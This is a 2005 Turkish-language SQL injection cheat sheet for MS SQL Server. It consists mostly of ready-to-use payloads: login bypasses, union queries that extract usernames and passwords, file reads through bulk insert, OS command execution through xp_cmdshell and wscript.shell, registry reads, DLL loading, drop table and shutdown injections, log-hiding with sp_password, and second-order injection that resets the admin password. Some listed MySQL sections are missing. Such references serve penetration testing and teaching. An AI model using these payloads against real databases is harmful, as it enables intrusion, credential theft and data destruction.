

SQL Injection CheatSheet.....	1
SQL Injection için kısa referans	1
Ön Bilgi	1
Referans.....	1
Login Screen	2
Hatalardan İlerleme (<i>yapıyı oluşturma I</i>)	2
Data Tiplerini Bulma (<i>yapıyı oluşturma II</i>).....	2
Data Ekleme	3
Sistem Hakkında Bilgi Toplama.....	3
Data Alma.....	3
Advanced Yöntemler	4
Özel Tablolar	5
Tablo / Server Modifikasyon	6
Functions.....	6
Atak Gizleme.....	6
SQL Injection Tespiti	6
Stored Procedures	7
Other	8
MySQL Injection	8
MySQL (<i>Custom</i>) Functions & UDF	8
MySQL Samples.....	9
MySQL Load_File	9
MySQL Load Data Infile	9
Timing & Blind MySQL Injection	9
Stored Procedure Injection.....	9
Second Order SQL Injection	10
Second Order Insert SQL Injection.....	10
References.....	10

SQL Injection CheatSheet

SQL Injection için kısa referans

Tarih : 2005-06-10

Ön Bilgi

Bir çok teknik sadece SQL Server' da çalışacaktır.

Referans

- "--" SQL Cümleciğini sonlandırır (bu sayede arkadan gelen cümlecik handle edilmek zorunda kalmaz)

- ";" İkinci SQL cümleciğinin çalışmasına izin verir

Login Screen

- I. Login olabilme
 - a. admin' –
 - b. ` or 1=1—
 - c. ...
- II. Farklı bir kullanıcı olarka login olma
 - a. ` union select 1, `diger_user`, `birseyler_sifre`, 1--

Hatalardan İlerleme (yapıyı oluşturma I)

Sırasıyla.

- I. ` having 1=1 –
- II. ` group by **hatadangelen.id** having 1=1—
- III. ` group by **hatadangelen.id, gelenikinci.id, üçüncü.id** having 1=1—
(böyle gider)
- IV. Hata almayı bitirince tablo bitti demektir.
- V. Ek olarak **order by** ile de union da kaç kolon çekildiği bulunabilir.
 - a. ORDER BY 1—
 - b. ORDER BY 2—
 - c. ... bu şekilde ilerlenir. Hata verdiği yer – 1 çekilen kolon sayısını gösterir.

Data Tiplerini Bulma (yapıyı oluşturma II)

- I. Always use **UNION** with **ALL** because of **image** similiar non-distinct field types. By default union tries to get records with distinct.
- II. ` union select sum(**tipibulunacakalan**) from **users**—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
*[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a **varchar** data type as an argument.*
- III. Hata kodu bize verdiğimiz alanin **varchar** olduğunu söyledi.
- IV. Eğer hata kodu **union** işlemi ile ilgiliyse yada hata gelmiyorsa verdiğimiz alan **numeric** demektir.
- V. Union işlemlerde NULL kullanılabilir **date, integer, string** in 3 tipinde de bu geçerli sonuç verecektir.
 - a. 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 --
No Error - Syntax is right. MS SQL Server Used. Proceeding.
 - b. 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 --
No Error – First column is an integer.

- V. Field Getirme
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'ORDERS')
- VI. Record ilerletme
WHERE users NOT IN ('First User', 'Second User')
- VII. Record ilerletme 2
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

Advanced Yöntemler

T-SQL ile bir tablodaki tüm datayı tek string haline getirip yeni bir temp tabloya insert etmek ve daha sonradan onu almak.

```
set @ret=:''
select @ret=@ret+' '+username+'/' +password from users where username>@ret
select @ret as ret into foo
end
```

The attacker 'logs in' with this 'username' (all on one line, obviously...)

- I. **Username:** '; begin declare @ret varchar(8000) set @ret=:'' select @ret=@ret+' '+username+'/' +password from users where username>@ret select @ret as ret into foo end—
- II. ' union select ret,1,1,1 from foo--
convert hatası alacağından dolayı direk az önce insert edilen stringleri getirir.
- III. Teoriye göre eğer SQL Server Local System Account' ı ile çalışıyorsa regread ile SAM account' u okunabilir. **Default!** (xp_regread)
- IV. Linked serverlarda query çalıştırılabilir (openquery)
- V. Custom Stored Procedure' ler ile SQL Server Process' i içerisinden exploit yazılıp çalıştırabilir. (sp_addextendedproc)
- VI. Bulk Insert ile serverdaki herhangi bir dosya okunabilir
 1. create table foo(line varchar(8000))
 2. bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
 3. Şimdi data bu yeni tablodan okunabilir, sonrada tablo drop edilebilir
- VII. Text dosyası yazma (BCP – **Login bilgisi gerekli**)
bcp "SELECT * FROM test..foo" queryout
c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfooobar

- VIII. "sa" olarak login olduk mu?
if (select user) = 'sa' waitfor delay '0:0:5'
- IX. ActiveX desteğinden dolayı scripting kullanılabilir (VBS, WSH)
wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
- Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --*
- X. SQL Server'ı konuşurma (maymunluk olsun diye yapılabilir)
- XI. Tırnak Kullanmadan SQL Yazmak
insert into users values(666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)
- veya sadece numerik değerler ile data girilebilir*
- insert into users values(667, 123, 123, 0xffff)
- SQL Server integerları otomatik olarak varchar a çeviriyor.*
- XII. Xx.asp?p=xx'; EXEC master.dbo.xp_cmdshell `cmd.exe dir c:'

Özel Tablolar

- I. Hata Mesajları
select * from master..sysmessages
- II. Linked Serverlar (openquery fonksiyonunu login olmadan kullanılabilir eger ki *sp_addlinkedsevrlogin* kullanıldıysa)
master..syssevr
- III. Şifreler, Loginler
master..sysxlogins

Tablo / Server Modifikasyon

- I. Tablo Silme
'; drop table foo--

Functions

- I. SQL Server' ı kapa (*shutdown*)
'; shutdown—
- II. Bekleme (*waitfor delay*)
Bir şeyin pasif/gizli olarak çalışıp çalışmadığını anlamak için

waitfor delay '0:0:10'—

kullanımı çok verimlidir. Belirtilen süre kadar bekler. Bu sayede çeşitli kontroller yapılabilir yada basitçe harmless bir şekilde eklenen SQL cümleciklerinin gerçekten çalışıp çalışmadığı kontrol edilebilir.

Atak Gizleme

SQL Server sp_password içeren SQL Querylerini güvenlik nedeniyle loglamıyor. Bu durumda her çalıştırılan komut ardından '-sp_password demek onun gizlenmesi için yeterli. Bu sayede bir log oluşsa da içeriği oluşmuyor.

SQL Injection Tespiti

Normalde SQL Injection basit şekilde tek tırnak (') vs. Koyarak çıkan hataya göre tespiti edilebilir. Ancak bazı uygulamaları hataları gizleyebilir, yada siz arkadaki yada hata olduğunda direk varsayılandan devam etme gibi özelliklere sahip olabilir. Bunun yanında bir diğer kritik sorunsu bir sistemde ne kadar çok hata verdirterseniz bir analizde o kadar çok takip edebilirsiniz.

Ek olarak software based server da çalışan web firewall ları genelde pattern olarak (*Snort gibi IDS lerde bu şekilde*) status code larında "500" veya benzer hata kodlarını eklerler genelde bir çok "200" status kodu dertsiz olarak bu filtreleri geçebilir. Daha sonradan olayın trace noktasında da bu bir kolaylıktır.

Bu noktada daha önceden bahsi geçen "*waitfor delay*" kullanışlı bir fonksiyondur. Ek olarak daha da pratik mantık SQL ün aynı işi yapmasını sağlayan queryler oluşturmaktır, ama tabii ki tırnak yada SQL de çalışacak fonksiyonlar kullanarak.

1. product.asp?id=4
 - a. product.asp?id=5-1
 - b. product.asp?id=4 OR 1=1

2. product.asp?name=Book
 - a. product.asp?name=Bo'+ok
 - b. product.asp?name=Bo' || 'ok (ORACLE)
 - c. product.asp?name=Book' OR 'x'='x

Stored Procedures

- I. Cmd Execute (**xp_cmdshell**)
exec master..xp_cmdshell 'dir'

- II. Registry İşlemleri (**xp_regread**)
Registry' e yazma okuma vs. İşlemleri.
 - a. xp_regaddmultistring
 - b. xp_regdeletekey
 - c. xp_regdeletevalue
 - d. xp_regenumkeys
 - e. xp_regenumvalues
 - f. xp_regread
 - g. xp_regremovemultistring
 - h. xp_regwrite

```
exec xp_regread HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
>nullsessionshares'

exec xp_regenumvalues HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommu
nities'
```

- III. Servisleri Kontrol Etmek (**xp_servicecontrol**)

- IV. Sistemdeki Medyaları Görme (**xp_availablemedia**)

- V. Directory Tree sini alma (**xp_dirtree**)

- VI. ODBC Resurceları Listeleme (**xp_enumdsn**)

- VII. Login modeunu bulma (**xp_loginconfig**)

- VIII. Cab Arşiv Oluşturma (**xp_makecab**)

- IX. Domainleri Bulma (**xp_ntsec_enumdomains**)

- X. PID ile process terminate etme (**xp_terminate_process**)

- XI. Yeni Stored Procedure Ekleme (istenilen kod SQL Server process içerisinde çalıştırılabilir)
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

Second Order SQL Injection

Zor bir metod, temel olarak arda arda birbirinin datasının kullanan SQL'lerde kullanılabilir. Temel boşluk bu tip yerlerde ikinci SQL birinci SQL den datayı aldığından ona gözü kapalı güvenmesidir yani gelen data kullanıcıdan değil de aplikasyondan geldiğinden tekrar kontrol edilmez *genelde*.

- I. Bir sistemde yeni kullanıcı şu şekilde oluşturulur;
Username: admin'--
Password: password
- II. Bu şu Insert' i çalıştırır;
insert into users values(123, 'admin'--, 'password', 0xffff)
- III. Şifre değiştirme ekranındaki durum şu şekilde olacaktır;
Kontrol;
var sql = "select * from users where username = '' + username + '' and password = '' + oldpassword + ''";
- IV. Şifre Update işlemi;
sql = "update users set password = '' + newpassword + '' where username = '' + rso("username") + ''"

Bu adımda bir önceki SQL dönen username direk kullandığında filtreden geçemeyeceğinden direk olarak şu SQL çalışmış olacaktır;
update users set password = 'password' where username = 'admin'--'

Bu da admin şifresinin istenilen şifreye değiştirecektir.

Second Order Insert SQL Injection

Form dolurulurken şu şekilde doldurulur;
Name : ` + (SELECT TOP 1 password FROM users) + '
Email : xx@xx.com vs...

Notes

- On Unions sometimes you have deal with page restrictions like FormatCurrency(), you shouldn't supply NULL to FormatCurrency() function.

References

- Advanced SQL Injection In SQL Applications, Chris Anley
- Blindfolded SQL Injection, Ofer Maor – Amichai Shulman
- Hackproofing MySQL, Chris Anley